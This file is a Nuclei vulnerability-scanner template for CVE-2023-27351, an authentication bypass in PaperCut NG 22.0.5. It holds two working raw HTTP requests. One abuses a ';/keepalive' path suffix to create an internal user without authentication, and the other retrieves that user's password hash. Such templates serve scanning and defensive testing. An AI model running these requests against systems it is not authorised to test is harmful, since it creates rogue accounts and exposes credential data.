id: CVE-2023-27351

info:
  name: "PaperCut NG - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: high
  description: |
    This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG
    22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2023-27351&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=papercut&match=exact
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2023-27351
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: cve2023,cve,papercut,auth-bypass,vkev,kev,intrusive,vuln
flow: http(1) && http(2)

variables:
  username: "{{randbase(8)}}"
  password: "{{randstr}}"

http:
  - raw:
      - |
        POST /rpc/api/rest/master/user/createInternalUser;/keepalive HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":["{{username}}"],"password":["{{password}}"]}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'rO0A')"
          - "contains(content_type, 'application/json')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /rpc/api/rest/master/user/getExportedUser;/keepalive HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":["{{username}}"]}

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, 'java.lang.String', 'HASH:', '{{username}}')"
          - "contains(content_type, 'application/json')"
          - "status_code == 200"
        condition: and